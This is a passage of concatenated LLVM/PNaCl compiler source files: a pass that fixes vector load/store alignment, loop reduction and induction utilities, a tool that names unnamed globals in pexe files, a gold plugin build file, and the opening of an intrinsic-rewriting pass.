#include "llvm/Support/Debug.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class FixVectorLoadStoreAlignment : public BasicBlockPass {
public:
static char ID; // Pass identification, replacement for typeid
FixVectorLoadStoreAlignment() : BasicBlockPass(ID), M(0), DL(0) {
initializeFixVectorLoadStoreAlignmentPass(*PassRegistry::getPassRegistry());
}
using BasicBlockPass::doInitialization;
bool doInitialization(Module &Mod) override {
M = &Mod;
return false; // Unchanged.
}
bool runOnBasicBlock(BasicBlock &BB) override;
private:
typedef SmallVector<Instruction *, 8> Instructions;
const Module *M;
const DataLayout *DL;
/// Some sub-classes of Instruction have a non-virtual function
/// indicating which operand is the pointer operand. This template
/// function returns the pointer operand's type, and requires that
/// InstTy have a getPointerOperand function.
template <typename InstTy>
static PointerType *pointerOperandType(const InstTy *I) {
return cast<PointerType>(I->getPointerOperand()->getType());
}
/// Similar to pointerOperandType, this template function checks
/// whether the pointer operand is a pointer to a vector type.
template <typename InstTy>
static bool pointerOperandIsVectorPointer(const Instruction *I) {
return pointerOperandType(cast<InstTy>(I))->getElementType()->isVectorTy();
}
/// Returns true if one of the Instruction's operands is a pointer to
/// a vector type. This is more general than the above and assumes we
/// don't know which Instruction type is provided.
static bool hasVectorPointerOperand(const Instruction *I) {
for (User::const_op_iterator IB = I->op_begin(), IE = I->op_end(); IB != IE;
++IB)
if (PointerType *PtrTy = dyn_cast<PointerType>((*IB)->getType()))
if (isa<VectorType>(PtrTy->getElementType()))
return true;
return false;
}
/// Vectors are expected to be element-aligned. If they are, leave as-is; if
/// the alignment is too much then narrow the alignment (when possible);
/// otherwise return false.
template <typename InstTy>
static bool tryFixVectorAlignment(const DataLayout *DL, Instruction *I) {
InstTy *LoadStore = cast<InstTy>(I);
VectorType *VecTy =
cast<VectorType>(pointerOperandType(LoadStore)->getElementType());
Type *ElemTy = VecTy->getElementType();
uint64_t ElemBitSize = DL->getTypeSizeInBits(ElemTy);
uint64_t ElemByteSize = ElemBitSize / CHAR_BIT;
uint64_t CurrentByteAlign = LoadStore->getAlignment();
bool isABIAligned = CurrentByteAlign == 0;
uint64_t VecABIByteAlign = DL->getABITypeAlignment(VecTy);
CurrentByteAlign = isABIAligned ? VecABIByteAlign : CurrentByteAlign;
if (CHAR_BIT * ElemByteSize != ElemBitSize)
return false; // Minimum byte-size elements.
if (MinAlign(ElemByteSize, CurrentByteAlign) == ElemByteSize) {
// Element-aligned, or compatible over-aligned. Keep element-aligned.
LoadStore->setAlignment(ElemByteSize);
return true;
}
return false; // Under-aligned.
}
void visitVectorLoadStore(BasicBlock &BB, Instructions &Loads,
Instructions &Stores) const;
void scalarizeVectorLoadStore(BasicBlock &BB, const Instructions &Loads,
const Instructions &Stores) const;
};
} // anonymous namespace
char FixVectorLoadStoreAlignment::ID = 0;
INITIALIZE_PASS(FixVectorLoadStoreAlignment, "fix-vector-load-store-alignment",
"Ensure vector load/store have element-size alignment",
false, false)
void FixVectorLoadStoreAlignment::visitVectorLoadStore(
BasicBlock &BB, Instructions &Loads, Instructions &Stores) const {
for (BasicBlock::iterator BBI = BB.begin(), BBE = BB.end(); BBI != BBE;
++BBI) {
Instruction *I = &*BBI;
// The following list of instructions is based on mayReadOrWriteMemory.
switch (I->getOpcode()) {
case Instruction::Load:
if (pointerOperandIsVectorPointer<LoadInst>(I)) {
if (cast<LoadInst>(I)->isAtomic())
report_fatal_error("unhandled: atomic vector store");
if (!tryFixVectorAlignment<LoadInst>(DL, I))
Loads.push_back(I);
}
break;
case Instruction::Store:
if (pointerOperandIsVectorPointer<StoreInst>(I)) {
if (cast<StoreInst>(I)->isAtomic())
report_fatal_error("unhandled: atomic vector store");
if (!tryFixVectorAlignment<StoreInst>(DL, I))
Stores.push_back(I);
}
break;
case Instruction::Alloca:
case Instruction::Fence:
case Instruction::VAArg:
// Leave these memory operations as-is, even when they deal with
// vectors.
break;
case Instruction::Call:
case Instruction::Invoke:
// Call/invoke don't touch memory per-se, leave them as-is.
break;
case Instruction::AtomicCmpXchg:
if (pointerOperandIsVectorPointer<AtomicCmpXchgInst>(I))
report_fatal_error(
"unhandled: atomic compare and exchange operation on vector");
break;
case Instruction::AtomicRMW:
if (pointerOperandIsVectorPointer<AtomicRMWInst>(I))
report_fatal_error("unhandled: atomic RMW operation on vector");
break;
default:
if (I->mayReadOrWriteMemory() && hasVectorPointerOperand(I)) {
errs() << "Not handled: " << *I << '\n';
report_fatal_error(
"unexpected: vector operations which may read/write memory");
}
break;
}
}
}
void FixVectorLoadStoreAlignment::scalarizeVectorLoadStore(
BasicBlock &BB, const Instructions &Loads,
const Instructions &Stores) const {
for (Instructions::const_iterator IB = Loads.begin(), IE = Loads.end();
IB != IE; ++IB) {
LoadInst *VecLoad = cast<LoadInst>(*IB);
VectorType *LoadedVecTy =
cast<VectorType>(pointerOperandType(VecLoad)->getElementType());
Type *ElemTy = LoadedVecTy->getElementType();
// The base of the vector is as aligned as the vector load (where
// zero means ABI alignment for the vector), whereas subsequent
// elements are as aligned as the base+offset can be.
unsigned BaseAlign = VecLoad->getAlignment()
? VecLoad->getAlignment()
: DL->getABITypeAlignment(LoadedVecTy);
unsigned ElemAllocSize = DL->getTypeAllocSize(ElemTy);
// Fill in the vector element by element.
IRBuilder<> IRB(VecLoad);
Value *Loaded = UndefValue::get(LoadedVecTy);
Value *Base =
IRB.CreateBitCast(VecLoad->getPointerOperand(), ElemTy->getPointerTo());
for (unsigned Elem = 0, NumElems = LoadedVecTy->getNumElements();
Elem != NumElems; ++Elem) {
unsigned Align = MinAlign(BaseAlign, ElemAllocSize * Elem);
Value *GEP = IRB.CreateConstInBoundsGEP1_32(ElemTy, Base, Elem);
LoadInst *LoadedElem =
IRB.CreateAlignedLoad(GEP, Align, VecLoad->isVolatile());
LoadedElem->setSynchScope(VecLoad->getSynchScope());
Loaded = IRB.CreateInsertElement(
Loaded, LoadedElem,
ConstantInt::get(Type::getInt32Ty(M->getContext()), Elem));
}
VecLoad->replaceAllUsesWith(Loaded);
VecLoad->eraseFromParent();
}
for (Instructions::const_iterator IB = Stores.begin(), IE = Stores.end();
IB != IE; ++IB) {
StoreInst *VecStore = cast<StoreInst>(*IB);
Value *StoredVec = VecStore->getValueOperand();
VectorType *StoredVecTy = cast<VectorType>(StoredVec->getType());
Type *ElemTy = StoredVecTy->getElementType();
unsigned BaseAlign = VecStore->getAlignment()
? VecStore->getAlignment()
: DL->getABITypeAlignment(StoredVecTy);
unsigned ElemAllocSize = DL->getTypeAllocSize(ElemTy);
// Fill in the vector element by element.
IRBuilder<> IRB(VecStore);
Value *Base = IRB.CreateBitCast(VecStore->getPointerOperand(),
ElemTy->getPointerTo());
for (unsigned Elem = 0, NumElems = StoredVecTy->getNumElements();
Elem != NumElems; ++Elem) {
unsigned Align = MinAlign(BaseAlign, ElemAllocSize * Elem);
Value *GEP = IRB.CreateConstInBoundsGEP1_32(ElemTy, Base, Elem);
Value *ElemToStore = IRB.CreateExtractElement(
StoredVec, ConstantInt::get(Type::getInt32Ty(M->getContext()), Elem));
StoreInst *StoredElem = IRB.CreateAlignedStore(ElemToStore, GEP, Align,
VecStore->isVolatile());
StoredElem->setSynchScope(VecStore->getSynchScope());
}
VecStore->eraseFromParent();
}
}
bool FixVectorLoadStoreAlignment::runOnBasicBlock(BasicBlock &BB) {
bool Changed = false;
if (!DL)
DL = &BB.getParent()->getParent()->getDataLayout();
Instructions Loads;
Instructions Stores;
visitVectorLoadStore(BB, Loads, Stores);
if (!(Loads.empty() && Stores.empty())) {
Changed = true;
scalarizeVectorLoadStore(BB, Loads, Stores);
}
return Changed;
}
BasicBlockPass *llvm::createFixVectorLoadStoreAlignmentPass() {
return new FixVectorLoadStoreAlignment();
}
<file_sep>/lib/Transforms/Utils/LoopUtils.cpp
//===-- LoopUtils.cpp - Loop Utility functions -------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file defines common loop utility functions.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/LoopInfo.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/PatternMatch.h"
#include "llvm/IR/ValueHandle.h"
#include "llvm/Support/Debug.h"
#include "llvm/Analysis/ScalarEvolution.h"
#include "llvm/Analysis/ScalarEvolutionExpressions.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/Utils/LoopUtils.h"
using namespace llvm;
using namespace llvm::PatternMatch;
#define DEBUG_TYPE "loop-utils"
bool ReductionDescriptor::areAllUsesIn(Instruction *I,
SmallPtrSetImpl<Instruction *> &Set) {
for (User::op_iterator Use = I->op_begin(), E = I->op_end(); Use != E; ++Use)
if (!Set.count(dyn_cast<Instruction>(*Use)))
return false;
return true;
}
bool ReductionDescriptor::AddReductionVar(PHINode *Phi, ReductionKind Kind,
Loop *TheLoop, bool HasFunNoNaNAttr,
ReductionDescriptor &RedDes) {
if (Phi->getNumIncomingValues() != 2)
return false;
// Reduction variables are only found in the loop header block.
if (Phi->getParent() != TheLoop->getHeader())
return false;
// Obtain the reduction start value from the value that comes from the loop
// preheader.
Value *RdxStart = Phi->getIncomingValueForBlock(TheLoop->getLoopPreheader());
// ExitInstruction is the single value which is used outside the loop.
// We only allow for a single reduction value to be used outside the loop.
// This includes users of the reduction, variables (which form a cycle
// which ends in the phi node).
Instruction *ExitInstruction = nullptr;
// Indicates that we found a reduction operation in our scan.
bool FoundReduxOp = false;
// We start with the PHI node and scan for all of the users of this
// instruction. All users must be instructions that can be used as reduction
// variables (such as ADD). We must have a single out-of-block user. The cycle
// must include the original PHI.
bool FoundStartPHI = false;
// To recognize min/max patterns formed by a icmp select sequence, we store
// the number of instruction we saw from the recognized min/max pattern,
// to make sure we only see exactly the two instructions.
unsigned NumCmpSelectPatternInst = 0;
ReductionInstDesc ReduxDesc(false, nullptr);
SmallPtrSet<Instruction *, 8> VisitedInsts;
SmallVector<Instruction *, 8> Worklist;
Worklist.push_back(Phi);
VisitedInsts.insert(Phi);
// A value in the reduction can be used:
// - By the reduction:
// - Reduction operation:
// - One use of reduction value (safe).
// - Multiple use of reduction value (not safe).
// - PHI:
// - All uses of the PHI must be the reduction (safe).
// - Otherwise, not safe.
// - By one instruction outside of the loop (safe).
// - By further instructions outside of the loop (not safe).
// - By an instruction that is not part of the reduction (not safe).
// This is either:
// * An instruction type other than PHI or the reduction operation.
// * A PHI in the header other than the initial PHI.
while (!Worklist.empty()) {
Instruction *Cur = Worklist.back();
Worklist.pop_back();
// No Users.
// If the instruction has no users then this is a broken chain and can't be
// a reduction variable.
if (Cur->use_empty())
return false;
bool IsAPhi = isa<PHINode>(Cur);
// A header PHI use other than the original PHI.
if (Cur != Phi && IsAPhi && Cur->getParent() == Phi->getParent())
return false;
// Reductions of instructions such as Div, and Sub is only possible if the
// LHS is the reduction variable.
if (!Cur->isCommutative() && !IsAPhi && !isa<SelectInst>(Cur) &&
!isa<ICmpInst>(Cur) && !isa<FCmpInst>(Cur) &&
!VisitedInsts.count(dyn_cast<Instruction>(Cur->getOperand(0))))
return false;
// Any reduction instruction must be of one of the allowed kinds.
ReduxDesc = isReductionInstr(Cur, Kind, ReduxDesc, HasFunNoNaNAttr);
if (!ReduxDesc.isReduction())
return false;
// A reduction operation must only have one use of the reduction value.
if (!IsAPhi && Kind != RK_IntegerMinMax && Kind != RK_FloatMinMax &&
hasMultipleUsesOf(Cur, VisitedInsts))
return false;
// All inputs to a PHI node must be a reduction value.
if (IsAPhi && Cur != Phi && !areAllUsesIn(Cur, VisitedInsts))
return false;
if (Kind == RK_IntegerMinMax &&
(isa<ICmpInst>(Cur) || isa<SelectInst>(Cur)))
++NumCmpSelectPatternInst;
if (Kind == RK_FloatMinMax && (isa<FCmpInst>(Cur) || isa<SelectInst>(Cur)))
++NumCmpSelectPatternInst;
// Check whether we found a reduction operator.
FoundReduxOp |= !IsAPhi;
// Process users of current instruction. Push non-PHI nodes after PHI nodes
// onto the stack. This way we are going to have seen all inputs to PHI
// nodes once we get to them.
SmallVector<Instruction *, 8> NonPHIs;
SmallVector<Instruction *, 8> PHIs;
for (User *U : Cur->users()) {
Instruction *UI = cast<Instruction>(U);
// Check if we found the exit user.
BasicBlock *Parent = UI->getParent();
if (!TheLoop->contains(Parent)) {
// Exit if you find multiple outside users or if the header phi node is
// being used. In this case the user uses the value of the previous
// iteration, in which case we would loose "VF-1" iterations of the
// reduction operation if we vectorize.
if (ExitInstruction != nullptr || Cur == Phi)
return false;
// The instruction used by an outside user must be the last instruction
// before we feed back to the reduction phi. Otherwise, we loose VF-1
// operations on the value.
if (std::find(Phi->op_begin(), Phi->op_end(), Cur) == Phi->op_end())
return false;
ExitInstruction = Cur;
continue;
}
// Process instructions only once (termination). Each reduction cycle
// value must only be used once, except by phi nodes and min/max
// reductions which are represented as a cmp followed by a select.
ReductionInstDesc IgnoredVal(false, nullptr);
if (VisitedInsts.insert(UI).second) {
if (isa<PHINode>(UI))
PHIs.push_back(UI);
else
NonPHIs.push_back(UI);
} else if (!isa<PHINode>(UI) &&
((!isa<FCmpInst>(UI) && !isa<ICmpInst>(UI) &&
!isa<SelectInst>(UI)) ||
!isMinMaxSelectCmpPattern(UI, IgnoredVal).isReduction()))
return false;
// Remember that we completed the cycle.
if (UI == Phi)
FoundStartPHI = true;
}
Worklist.append(PHIs.begin(), PHIs.end());
Worklist.append(NonPHIs.begin(), NonPHIs.end());
}
// This means we have seen one but not the other instruction of the
// pattern or more than just a select and cmp.
if ((Kind == RK_IntegerMinMax || Kind == RK_FloatMinMax) &&
NumCmpSelectPatternInst != 2)
return false;
if (!FoundStartPHI || !FoundReduxOp || !ExitInstruction)
return false;
// We found a reduction var if we have reached the original phi node and we
// only have a single instruction with out-of-loop users.
// The ExitInstruction(Instruction which is allowed to have out-of-loop users)
// is saved as part of the ReductionDescriptor.
// Save the description of this reduction variable.
ReductionDescriptor RD(RdxStart, ExitInstruction, Kind,
ReduxDesc.getMinMaxKind());
RedDes = RD;
return true;
}
/// Returns true if the instruction is a Select(ICmp(X, Y), X, Y) instruction
/// pattern corresponding to a min(X, Y) or max(X, Y).
ReductionInstDesc
ReductionDescriptor::isMinMaxSelectCmpPattern(Instruction *I,
ReductionInstDesc &Prev) {
assert((isa<ICmpInst>(I) || isa<FCmpInst>(I) || isa<SelectInst>(I)) &&
"Expect a select instruction");
Instruction *Cmp = nullptr;
SelectInst *Select = nullptr;
// We must handle the select(cmp()) as a single instruction. Advance to the
// select.
if ((Cmp = dyn_cast<ICmpInst>(I)) || (Cmp = dyn_cast<FCmpInst>(I))) {
if (!Cmp->hasOneUse() || !(Select = dyn_cast<SelectInst>(*I->user_begin())))
return ReductionInstDesc(false, I);
return ReductionInstDesc(Select, Prev.getMinMaxKind());
}
// Only handle single use cases for now.
if (!(Select = dyn_cast<SelectInst>(I)))
return ReductionInstDesc(false, I);
if (!(Cmp = dyn_cast<ICmpInst>(I->getOperand(0))) &&
!(Cmp = dyn_cast<FCmpInst>(I->getOperand(0))))
return ReductionInstDesc(false, I);
if (!Cmp->hasOneUse())
return ReductionInstDesc(false, I);
Value *CmpLeft;
Value *CmpRight;
// Look for a min/max pattern.
if (m_UMin(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_UIntMin);
else if (m_UMax(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_UIntMax);
else if (m_SMax(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_SIntMax);
else if (m_SMin(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_SIntMin);
else if (m_OrdFMin(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_FloatMin);
else if (m_OrdFMax(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_FloatMax);
else if (m_UnordFMin(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_FloatMin);
else if (m_UnordFMax(m_Value(CmpLeft), m_Value(CmpRight)).match(Select))
return ReductionInstDesc(Select, ReductionInstDesc::MRK_FloatMax);
return ReductionInstDesc(false, I);
}
ReductionInstDesc ReductionDescriptor::isReductionInstr(Instruction *I,
ReductionKind Kind,
ReductionInstDesc &Prev,
bool HasFunNoNaNAttr) {
bool FP = I->getType()->isFloatingPointTy();
bool FastMath = FP && I->hasUnsafeAlgebra();
switch (I->getOpcode()) {
default:
return ReductionInstDesc(false, I);
case Instruction::PHI:
if (FP &&
(Kind != RK_FloatMult && Kind != RK_FloatAdd && Kind != RK_FloatMinMax))
return ReductionInstDesc(false, I);
return ReductionInstDesc(I, Prev.getMinMaxKind());
case Instruction::Sub:
case Instruction::Add:
return ReductionInstDesc(Kind == RK_IntegerAdd, I);
case Instruction::Mul:
return ReductionInstDesc(Kind == RK_IntegerMult, I);
case Instruction::And:
return ReductionInstDesc(Kind == RK_IntegerAnd, I);
case Instruction::Or:
return ReductionInstDesc(Kind == RK_IntegerOr, I);
case Instruction::Xor:
return ReductionInstDesc(Kind == RK_IntegerXor, I);
case Instruction::FMul:
return ReductionInstDesc(Kind == RK_FloatMult && FastMath, I);
case Instruction::FSub:
case Instruction::FAdd:
return ReductionInstDesc(Kind == RK_FloatAdd && FastMath, I);
case Instruction::FCmp:
case Instruction::ICmp:
case Instruction::Select:
if (Kind != RK_IntegerMinMax &&
(!HasFunNoNaNAttr || Kind != RK_FloatMinMax))
return ReductionInstDesc(false, I);
return isMinMaxSelectCmpPattern(I, Prev);
}
}
bool ReductionDescriptor::hasMultipleUsesOf(
Instruction *I, SmallPtrSetImpl<Instruction *> &Insts) {
unsigned NumUses = 0;
for (User::op_iterator Use = I->op_begin(), E = I->op_end(); Use != E;
++Use) {
if (Insts.count(dyn_cast<Instruction>(*Use)))
++NumUses;
if (NumUses > 1)
return true;
}
return false;
}
bool ReductionDescriptor::isReductionPHI(PHINode *Phi, Loop *TheLoop,
ReductionDescriptor &RedDes) {
bool HasFunNoNaNAttr = false;
BasicBlock *Header = TheLoop->getHeader();
Function &F = *Header->getParent();
if (F.hasFnAttribute("no-nans-fp-math"))
HasFunNoNaNAttr =
F.getFnAttribute("no-nans-fp-math").getValueAsString() == "true";
if (AddReductionVar(Phi, RK_IntegerAdd, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an ADD reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_IntegerMult, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found a MUL reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_IntegerOr, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an OR reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_IntegerAnd, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an AND reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_IntegerXor, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found a XOR reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_IntegerMinMax, TheLoop, HasFunNoNaNAttr,
RedDes)) {
DEBUG(dbgs() << "Found a MINMAX reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_FloatMult, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an FMult reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_FloatAdd, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an FAdd reduction PHI." << *Phi << "\n");
return true;
}
if (AddReductionVar(Phi, RK_FloatMinMax, TheLoop, HasFunNoNaNAttr, RedDes)) {
DEBUG(dbgs() << "Found an float MINMAX reduction PHI." << *Phi << "\n");
return true;
}
// Not a reduction of known type.
return false;
}
/// This function returns the identity element (or neutral element) for
/// the operation K.
Constant *ReductionDescriptor::getReductionIdentity(ReductionKind K, Type *Tp) {
switch (K) {
case RK_IntegerXor:
case RK_IntegerAdd:
case RK_IntegerOr:
// Adding, Xoring, Oring zero to a number does not change it.
return ConstantInt::get(Tp, 0);
case RK_IntegerMult:
// Multiplying a number by 1 does not change it.
return ConstantInt::get(Tp, 1);
case RK_IntegerAnd:
// AND-ing a number with an all-1 value does not change it.
return ConstantInt::get(Tp, -1, true);
case RK_FloatMult:
// Multiplying a number by 1 does not change it.
return ConstantFP::get(Tp, 1.0L);
case RK_FloatAdd:
// Adding zero to a number does not change it.
return ConstantFP::get(Tp, 0.0L);
default:
llvm_unreachable("Unknown reduction kind");
}
}
/// This function translates the reduction kind to an LLVM binary operator.
unsigned ReductionDescriptor::getReductionBinOp(ReductionKind Kind) {
switch (Kind) {
case RK_IntegerAdd:
return Instruction::Add;
case RK_IntegerMult:
return Instruction::Mul;
case RK_IntegerOr:
return Instruction::Or;
case RK_IntegerAnd:
return Instruction::And;
case RK_IntegerXor:
return Instruction::Xor;
case RK_FloatMult:
return Instruction::FMul;
case RK_FloatAdd:
return Instruction::FAdd;
case RK_IntegerMinMax:
return Instruction::ICmp;
case RK_FloatMinMax:
return Instruction::FCmp;
default:
llvm_unreachable("Unknown reduction operation");
}
}
Value *
ReductionDescriptor::createMinMaxOp(IRBuilder<> &Builder,
ReductionInstDesc::MinMaxReductionKind RK,
Value *Left, Value *Right) {
CmpInst::Predicate P = CmpInst::ICMP_NE;
switch (RK) {
default:
llvm_unreachable("Unknown min/max reduction kind");
case ReductionInstDesc::MRK_UIntMin:
P = CmpInst::ICMP_ULT;
break;
case ReductionInstDesc::MRK_UIntMax:
P = CmpInst::ICMP_UGT;
break;
case ReductionInstDesc::MRK_SIntMin:
P = CmpInst::ICMP_SLT;
break;
case ReductionInstDesc::MRK_SIntMax:
P = CmpInst::ICMP_SGT;
break;
case ReductionInstDesc::MRK_FloatMin:
P = CmpInst::FCMP_OLT;
break;
case ReductionInstDesc::MRK_FloatMax:
P = CmpInst::FCMP_OGT;
break;
}
Value *Cmp;
if (RK == ReductionInstDesc::MRK_FloatMin ||
RK == ReductionInstDesc::MRK_FloatMax)
Cmp = Builder.CreateFCmp(P, Left, Right, "rdx.minmax.cmp");
else
Cmp = Builder.CreateICmp(P, Left, Right, "rdx.minmax.cmp");
Value *Select = Builder.CreateSelect(Cmp, Left, Right, "rdx.minmax.select");
return Select;
}
bool llvm::isInductionPHI(PHINode *Phi, ScalarEvolution *SE,
ConstantInt *&StepValue) {
Type *PhiTy = Phi->getType();
// We only handle integer and pointer inductions variables.
if (!PhiTy->isIntegerTy() && !PhiTy->isPointerTy())
return false;
// Check that the PHI is consecutive.
const SCEV *PhiScev = SE->getSCEV(Phi);
const SCEVAddRecExpr *AR = dyn_cast<SCEVAddRecExpr>(PhiScev);
if (!AR) {
DEBUG(dbgs() << "LV: PHI is not a poly recurrence.\n");
return false;
}
const SCEV *Step = AR->getStepRecurrence(*SE);
// Calculate the pointer stride and check if it is consecutive.
const SCEVConstant *C = dyn_cast<SCEVConstant>(Step);
if (!C)
return false;
ConstantInt *CV = C->getValue();
if (PhiTy->isIntegerTy()) {
StepValue = CV;
return true;
}
assert(PhiTy->isPointerTy() && "The PHI must be a pointer");
Type *PointerElementType = PhiTy->getPointerElementType();
// The pointer stride cannot be determined if the pointer element type is not
// sized.
if (!PointerElementType->isSized())
return false;
const DataLayout &DL = Phi->getModule()->getDataLayout();
int64_t Size = static_cast<int64_t>(DL.getTypeAllocSize(PointerElementType));
if (!Size)
return false;
int64_t CVSize = CV->getSExtValue();
if (CVSize % Size)
return false;
StepValue = ConstantInt::getSigned(CV->getType(), CVSize / Size);
return true;
}
<file_sep>/tools/pnacl-addnames/pnacl-addnames.cpp
/* Copyright 2013 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
//===-- pnacl-addnames.cpp - Adds symbol names to ABI-compliant pexe ------===//
//
//===----------------------------------------------------------------------===//
//
// Takes an ABI-compliant pexe and adds names for globals and functions to
// enable A/B debugging between llc and Subzero.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Bitcode/ReaderWriter.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/DataStream.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/StreamingMemoryObject.h"
#include "llvm/Support/ToolOutputFile.h"
using namespace llvm;
namespace {
cl::opt<std::string>
OutputFilename("o", cl::desc("Specify output filename"),
cl::value_desc("filename"), cl::init("-"));
cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<pexe file>"), cl::init("-"));
void writeOutputFile(const Module *M) {
std::error_code EC;
std::unique_ptr<tool_output_file> Out(
new tool_output_file(OutputFilename, EC, sys::fs::F_None));
if (EC) {
errs() << EC.message() << '\n';
exit(1);
}
NaClWriteBitcodeToFile(M, Out->os(), /* AcceptSupportedOnly = */ false);
// Declare success.
Out->keep();
}
Module *readBitcode(std::string &Filename, LLVMContext &Context,
std::string &ErrorMessage) {
// Use the bitcode streaming interface
DataStreamer *Streamer = getDataFileStreamer(InputFilename, &ErrorMessage);
if (Streamer == nullptr)
return nullptr;
std::unique_ptr<StreamingMemoryObject> Buffer(
new StreamingMemoryObjectImpl(Streamer));
std::string DisplayFilename;
if (Filename == "-")
DisplayFilename = "<stdin>";
else
DisplayFilename = Filename;
DiagnosticHandlerFunction DiagnosticHandler = nullptr;
Module *M = getNaClStreamedBitcodeModule(
DisplayFilename, Buffer.release(), Context, DiagnosticHandler,
&ErrorMessage, /*AcceptSupportedOnly=*/false);
if (!M)
return nullptr;
if (std::error_code EC = M->materializeAllPermanently()) {
ErrorMessage = EC.message();
delete M;
return nullptr;
}
return M;
}
} // end of anonymous namespace
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
LLVMContext &Context = getGlobalContext();
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(argc, argv, "Adds global names to PNaCl pexe\n");
std::string ErrorMessage;
std::unique_ptr<Module> M(readBitcode(InputFilename, Context, ErrorMessage));
if (!M.get()) {
errs() << argv[0] << ": ";
if (ErrorMessage.size())
errs() << ErrorMessage << "\n";
else
errs() << "bitcode didn't read correctly.\n";
return 1;
}
uint32_t NameID = 0;
// Give the functions names.
for (auto &F : M->getFunctionList()) {
constexpr char FunctionPrefix[] = "Function";
if (F.getName().empty()) {
F.setName(StringRef(FunctionPrefix + std::to_string(NameID)));
++NameID;
}
}
// Give the global variables names.
for (auto &GV : M->getGlobalList()) {
constexpr char GlobalPrefix[] = "Global";
if (GV.getName().empty()) {
GV.setName(StringRef(GlobalPrefix + std::to_string(NameID)));
++NameID;
}
}
// Write the file out.
writeOutputFile(M.get());
return 0;
}
<file_sep>/tools/gold/CMakeLists.txt
set(LLVM_EXPORTED_SYMBOL_FILE ${CMAKE_CURRENT_SOURCE_DIR}/gold.exports)
if( LLVM_ENABLE_PIC AND LLVM_BINUTILS_INCDIR )
include_directories( ${LLVM_BINUTILS_INCDIR} )
# Because off_t is used in the public API, the largefile parts are required for
# ABI compatibility.
add_definitions( -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 )
set(LLVM_LINK_COMPONENTS
${LLVM_TARGETS_TO_BUILD}
Linker
BitWriter
Instrumentation
IPO
MinSFITransforms
NaClAnalysis
NaClBitWriter
NaClTransforms
)
add_llvm_loadable_module(LLVMgold
gold-plugin.cpp
)
endif()
<file_sep>/lib/Transforms/NaCl/RewriteLLVMIntrinsics.cpp
//===- RewriteLLVMIntrinsics.cpp - Rewrite LLVM intrinsics to other values ===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass replaces calls to LLVM intrinsics that are *not* part of the
// PNaCl stable bitcode ABI into simpler values.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/Twine.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
#include <string>
using namespace llvm;
namespace {
class RewriteLLVMIntrinsics : public ModulePass {
public:
static char ID;
RewriteLLVMIntrinsics() : ModulePass(ID) {
// This is a module pass because this makes it easier to access uses
// of global intrinsic functions.
initializeRewriteLLVMIntrinsicsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
/// Rewrite an intrinsic to something different.
class IntrinsicRewriter {
public:
Function *function() const { return F; }
/// Called once per \p Call of the Intrinsic Function.
void rewriteCall(CallInst *Call) { doRewriteCall(Call); }
protected:
IntrinsicRewriter(Module &M, Intrinsic::ID IntrinsicID)
: F(Intrinsic::getDeclaration(&M, IntrinsicID)) {}
virtual ~IntrinsicRewriter() {}
/// This pure virtual method must be defined by implementors, and
